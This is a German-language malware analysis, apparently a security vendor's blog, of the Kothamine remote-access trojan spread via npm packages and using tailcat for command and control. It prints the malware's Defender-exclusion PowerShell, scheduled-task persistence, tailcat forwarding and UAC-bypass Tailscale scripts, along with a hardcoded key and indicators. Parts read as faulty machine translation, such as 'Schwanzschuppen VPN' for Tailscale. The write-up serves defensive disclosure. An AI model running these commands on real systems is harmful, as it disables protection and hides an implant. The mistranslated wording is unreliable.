Die Kothamine-Malware nutzt Tailscales Tailcat, um die Netzwerkerkennung zu umgehen. 

| 25. September 2026
Die Kothamine-Malware nutzt Tailscales Tailcat, um die Netzwerkerkennung zu umgehen. 

Wir haben einen undokumentierten Remote-Access-Trojaner (RAT) namens Kothamine Agent entdeckt. Er unterstützt mehr als 30 Befehle und ermöglicht Angreifern die Kontrolle über einen infizierten Rechner. Windows Computer: Sie können Befehle ausführen, Dateien lesen und verändern sowie neue Funktionen hinzufügen. Einige Versionen können außerdem Browserdaten stehlen und über Kamera und Mikrofon aufzeichnen. 

Wir haben festgestellt, dass Kothamine mit schädlichen npm-Paketen verknüpft ist, wodurch Benutzer und Entwickler, die diese Pakete installieren, gefährdet werden. In neueren Versionen verwendet die Malware tailcat , ein Open-Source-Tool von Tailscale, um Befehle über eine verschlüsselte Verbindung zu empfangen. Dies erschwert die Analyse der Kommunikation und bietet Verteidigern keine herkömmliche Command-and-Control-Domäne (C2), die blockiert werden könnte.

Basierend auf VirusTotal-Uploads und GitHub-Commits scheint Kothamine mindestens seit Juli in Entwicklung oder Verbreitung zu sein. Frühere Versionen verwendeten Tailscale. VPN anstelle von tailcat. Je nach Build enthält die Malware die Netzwerktools oder lädt sie von Quellen wie GitHub herunter.

Wie man sicher bleibt 

Bevor Sie ein unbekanntes npm-Paket installieren, prüfen Sie dessen Repository, die Verantwortlichen, die Abhängigkeiten und die letzten Versionen. Suchen Sie nach Berichten über schädliche Aktivitäten und bevorzugen Sie Pakete mit einer etablierten Historie und regelmäßiger Wartung.

  • Überprüfen Sie den Namen sorgfältig. Stellen Sie sicher, dass Sie kein gefälschtes Paket mit einem ähnlichen Namen herunterladen. 
  • Überprüfen Sie den Entwickler oder die Organisation und stellen Sie sicher, dass der Herausgeber seriös wirkt. Prüfen Sie beispielsweise, ob er eine Website oder ein GitHub-Repository besitzt. 
  • Lesen Sie Rezensionen, Problembeschreibungen und Berichte. Suchen Sie den Paketnamen bei Google und prüfen Sie, ob Berichte über potenziell entdeckte Schadsoftware vorliegen. 
  • Schauen Sie sich an, wie beliebt es ist. Ein Paket mit vielen Downloads und Nutzern lässt sich in der Regel leichter überprüfen als ein brandneues Paket ohne nennenswerte Historie. 

Technische Analyse

Kothamine und die bösartigen npm-Pakete

Kothamine ist in C und C++ geschrieben. In den meisten der von uns analysierten Samples besteht es aus einem Injektor und einer DLL, die den Agenten enthält. Der Agent unterstützt über 30 Befehle, die es dem Benutzer ermöglichen, das infizierte System zu steuern und zusätzliche DLLs zu laden, um dessen Funktionen zu erweitern.

Kothamine Agent hat im Laufe der Zeit einige Veränderungen durchgemacht. Frühere Versionen, die wir auf VirusTotal gefunden haben, verwendeten Tailscale. VPN Anstelle von Tailcat wurden die Zeichenketten unverschlüsselt übertragen. Einige Funktionen, darunter die Umgehung der Benutzerkontensteuerung (UAC) und Stealer-Befehle, wurden nur in bestimmten Builds erkannt. 

In einigen Versionen lud Kothamine die Tailscale-Dateien von der offiziellen Tailscale-Website oder einem GitHub-Repository herunter, anstatt sie in den Agenten einzubinden.

Das gleiche GitHub-Repository wird zitiert in eine Empfehlung über ein bösartiges npm-Paket namens dotnet-runtime-baseDas Paket herunterladen npm-sc-legit.exe aus diesem Repository. Zum Zeitpunkt der Erstellung dieses Dokuments wurden zwei weitere Pakete desselben Entwicklers entfernt.

Den Urhebern dieser Kampagnen ist ein Fehler unterlaufen, und sie haben Anleitungen zum Zusammenstellen veröffentlicht. kothamine-stub-cpp in einem der Pakete. Die Anleitung behandelt auch das Laden von .NET-Assemblys, was wir in den von uns analysierten Beispielen nicht beobachtet haben.

Die npm-sc-legit.exe Die ausführbare Datei ist eine kompilierte Version von Kothamine, die auch Befehle zum Datendiebstahl enthält. Wir haben kein Bedienfeld oder keinen Builder für Kothamine gefunden, aber die in verschiedenen Builds vorhandenen Funktionen deuten darauf hin, dass Benutzer bestimmte Funktionen und Befehle nach Bedarf aktivieren können.

Die folgende Analyse konzentriert sich auf eine kürzlich untersuchte Kothamine-Kampfstoffprobe, die Tailcat zur C2-Kommunikation nutzt.

Wirkungsweise des Kothamin-Wirkstoffs

In den analysierten Versionen injiziert eine intern als Kothamine Injector bezeichnete ausführbare Datei die Kothamine Agent DLL, typischerweise in explorer.exeWir verweisen auch auf frühere Versionen, um zu zeigen, wie sich der Agent verändert hat.

1. Kothamin-Injektor

Der Kothamine-Injektor führt folgende Operationen durch: 

  • Fügt hinzu Windows Defender-Ausschlüsse mit PowerShell
  • Kopiert sich selbst an %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • Extrahiert die Agenten-DLL nach %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • Erstellt up.ps1 in %TEMP% für die Persistenz
  • Injiziert die Agenten-DLL in explorer.exe Verwendung OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThreadund LoadLibraryA

Die up.ps1 Das Skript erstellt eine geplante Aufgabe, um Persistenz mithilfe der Injector-Executable zu erreichen: 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2. Kothamin-Wirkstoff 

Agentenstart 

Der Agent erstellt einen Mutex namens Local\KothamineAgentInstance und startet seinen Hauptthread.

Anschließend werden PowerShell-Befehle ausgeführt, um die ausführbare Datei und die DLL hinzuzufügen. Windows Ausschlussliste für Verteidiger:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

In älteren Versionen wurden Zeichenketten nicht verschlüsselt. Neuere Versionen entschlüsseln Zeichenketten entweder direkt im Text oder mithilfe von Funktionen, die XOR mit jeweils einem anderen Schlüssel verwenden.

C2-Kommunikation über Tailcat 

Das Besondere an Kothamine ist nicht die technische Komplexität, die Funktionalität des Wirkstoffs oder die Verschleierung, sondern die Verwendung von Tailcat und Tailscale. VPN um auszuführende Befehle zu empfangen. Dies bietet dem Agenten einen ausfallsicheren, verschlüsselten Kommunikationskanal.

Tailcat ist ein kürzlich vom Tailscale-Team veröffentlichtes Open-Source-Projekt. Tailcat nutzt die Datenebene von Tailscale (WireGuard, NAT-Traversal und DERP), jedoch nicht die Steuerungsebene. Laut offizieller Dokumentation bedeutet dies, dass Tailcat keine IP-Adressen, Konten, Administratoren, Benutzer, administrative Kontrollen oder Governance-Funktionen besitzt. Diese Eigenschaften machen es daher zu einem attraktiven Werkzeug für Malware. 

Im Gegensatz zu Schwanzschuppen VPN Tailcat benötigt weder ein Konto noch eine Geräteregistrierung. Die Entwickler haben es für kurzzeitige Verbindungen konzipiert.

Da keine Benutzerkonten existieren, basiert der Zugriff auf dem Besitz einer Tailcat-Adresse und der öffentlichen Schlüssel zur Identifizierung der verbundenen Geräte. Dies gewährleistet jedoch keine vollständige Anonymität: Gehostete Relays können Metadatenprotokolle speichern.

Die tc-address Die Option `forward` ermöglicht es dem Client, die für das korrekte Weiterleiten der Anfrage notwendigen Informationen zu erhalten. Darüber hinaus benötigt `tailcat` keine privilegierten Zugriffsrechte auf den Rechner, da es das CLI-Tool und Benutzerbibliotheken verwendet. 

In neueren Versionen von Kothamine extrahiert der Agent Schwanzkatzen aus seinen Ressourcen und speichert sie als %ROAMING%\TailscalePortable\tailcat.exe.

Die Tailcat-Programmdatei wird mit folgendem gestartet: CreateProcessA Funktion und die folgenden Parameter (intern als bezeichnet) spawn_tailcat_forward Phase): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

Dieser Befehl macht die Ports des Tailcat-Servers als standardmäßige lokale TCP-Ports verfügbar (18080 in diesem Fall) und die Anfragen werden an den Port weitergeleitet 4444 Kothamine verwendet Socket-Funktionen, um eine Verbindung zum Knoten des Betreibers herzustellen. 127.0.0.1:18080, wo Tailcat lauscht. 

Wenn die Agenten-ID-Zeichenfolge nicht leer ist, sendet der Agent eine verschlüsselte Profilanfrage, die die folgenden Informationen enthält (run_c2_loop Phase): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

Anschließend gerät der Agent in eine Endlosschleife, um Befehle vom C2 zu empfangen und auszuführen (run_c2_loop Phase). Der Agent wartet auf neue Befehle, die er ausführen kann. select Die Socket-Funktion sendet regelmäßig KEEP-ALIVE-Nachrichten, wenn kein Befehl empfangen wird. 

Die mit dem C2 ausgetauschten Nachrichten werden mit AES-GCM verschlüsselt und entschlüsselt (aes_encrypt Phase).  

Der 32-Byte-AES-Schlüssel wird aus der Zeichenkette Base64-dekodiert (c2_key Phase): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

Unterstützte Befehle 

In dieser Version unterstützt der Kothamine-Agent 30 Befehle. Bezug zu: 

  • Wechselwirkung mit Prozessen
  • Interaktion mit Dateien und Verzeichnissen
  • Shell-Befehle ausführen
  • Erweiterung der Agentenfunktionen basierend auf empfangenen DLLs
Befehlsname Beschreibung 
sysinfo/systeminfo, curpid Gibt Systeminformationen zurück, wie z. B. PID, aktuellen Pfad, Hostname und Betriebssystem (fest codiert). 
tasklist, kill Gibt die mit „ tasklist /FO CSV /NH “ ermittelten Prozesse zurück. Beendet den durch die PID angegebenen Prozess mit „ taskkill /F /PID “. 
ping Lebendigkeitsprüfung, „Pong“ kehrt zu C2 zurück. 
ipconfig Führt den Befehl „ ipconfig /all “ aus und gibt das Ergebnis zurück. 
exec, shell_execFührt Shell-Befehle mit _popen() aus und sendet die Ausgabe zurück. 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdInteragiert mit Dateien und Ordnern im System. 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, downloadLiest, schreibt und löscht beliebige Dateien. 
load_featureSchreibt und lädt eine empfangene Base64-kodierte DLL. Die DLL wird mit LoadLibraryA geladen, und die über GetProcAddress aufgelöste Methode „ GetFeatureApi “ wird ausgeführt. Die zur Ausführung der Funktion benötigten Funktionszeiger werden gespeichert. 
exec_feature, features, list_features, unload_featureEs interagiert mit geladenen Features, um diese anzuzeigen, auszuführen oder zu entfernen. 

Da die übrigen Befehle für alle Agenten gelten, konzentriert sich die Analyse auf das „Plugin“-System, das es dem Bediener ermöglicht, DLLs zu empfangen und die Funktionalität des Agenten zu erweitern. 

Plugin-System 

Zum Laden einer neuen DLL verwendet der Bediener folgenden Befehl: 

load_feature <name> <B64EncodedDLL> 

Im Wesentlichen funktioniert der Prozess wie folgt. Der untenstehende Code und die Variablennamen wurden anhand von Nutzungs- und Ausgabeprotokollen rekonstruiert.

  1. Zunächst prüft der Agent, ob die Funktionalität bereits geladen wurde, und entlädt sie gegebenenfalls: 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. Es versucht, die empfangene DLL an einem Speicherort zu erstellen, der über GetTempPath oder SHGetFolderPathAoder im fest codierten Pfad C:\Windows\TempEs schreibt die dekodierte DLL und lädt sie mit LoadLibraryA.
  1. Löst auf und führt die GetFeatureApi Methode der geladenen DLL: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

Wir haben keine DLL gefunden, die es uns ermöglichen würde, die von ihr zurückgegebene Struktur vollständig zu analysieren. GetFeatureApiDurch die Analyse des Codes und der Zeichenketten konnten wir jedoch folgende Felder identifizieren: 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

Die Zeiger auf die geladene DLL und die zurückgegebene Struktur werden im globalen Speicher abgelegt. Variable intern aufgerufen g_featuresunter Verwendung dieser Struktur: 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. Führt die init Die in der zurückgegebenen Struktur enthaltene Funktion wird an diese übergeben, wobei die für die C2-Kommunikation verwendete Funktion übergeben wird: 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

Nachdem das Feature geladen wurde, kann der Bediener das geladene Feature mit folgendem Befehl ausführen: 

exec_feature <functionName> [args] 

Verschiedene Kothamine-Bausätze: Schwanzschuppen VPN UAC-Umgehungs- und Stealer-Befehle 

Wie bereits erwähnt, haben wir Versionen von Kothamine mit unterschiedlichen Fähigkeiten entdeckt.

Frühere Versionen verwendeten die Tailscale-Technologie. VPN bevor Tailcat veröffentlicht wurde. Sie luden den Installer von der Tailscale-Website herunter und führten ihn aus. /quiet und /silent Sie verwendeten entweder Flags oder luden die benötigten Dateien direkt von GitHub herunter. Dazu gehörten tailscaled.exe, tailscale.exe, tailscale-ipn.exeund wintun.dll.

Einige Versionen umgehen die Benutzerkontensteuerung (UAC) mithilfe von fodhelper.exe zum Laufen elevated.ps1Im folgenden Beispiel startet das PowerShell-Skript einen Tailscale-Prozess. VPN Verbindung:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

Der Agent verbindet sich dann mit Port 4444 an einer Tailscale-Netzwerk-IP-Adresse (100.x.x.x) und beginnt, Befehle zu empfangen und auszuführen.

Abschließend sei noch erwähnt, dass verschiedene Versionen von Kothamine, wie bereits erwähnt, weitere Befehle unterstützen. Beispielsweise enthält die auf GitHub hochgeladene Version zusätzliche Befehle, darunter getdiscord, getsessions, screenshot, screenshareund cameraDiese ermöglichen es den Betreibern:

  • Cookies von verschiedenen Browsern stehlen
  • Stehlen Sie spielebezogene JSON-Dateien, darunter Dateien, die mit Steam und Minecraft in Verbindung stehen.
  • Erstellen Sie Screenshots und nehmen Sie mit Kamera und Mikrofon auf.
  • Zugriff auf den Inhalt der Zwischenablage

Indikatoren für Kompromittierung

SHA-256-Hashes 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0: Der Kothamine-Injektor wurde im Blog analysiert. 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cKothamin-Kampfstoff im Blog analysiert 

URLs 

  • https://github[.]com/cphc811-ui/Repository zum Herunterladen von ausführbaren Dateien und DLLs, die mit Tailscale verknüpft sind. VPN 

Danksagungen    

Mondoos Empfehlung zum analysierten npm-Paket .


Stöbern Sie, als würde niemand zusehen. 

Malwarebytes Privacy VPN Ihre Verbindung und protokolliert niemals Ihre Aktivitäten, sodass Sie sich beim Lesen des nächsten Artikels nicht persönlich angesprochen fühlen müssen.Kostenlos testen → 

Über den Autor

Gabriele ist Malware-Forschungsingenieur und liebt es, Malware zu bekämpfen. Wenn er gerade nicht damit beschäftigt ist, genießt er die Natur, Kunst und Tiere.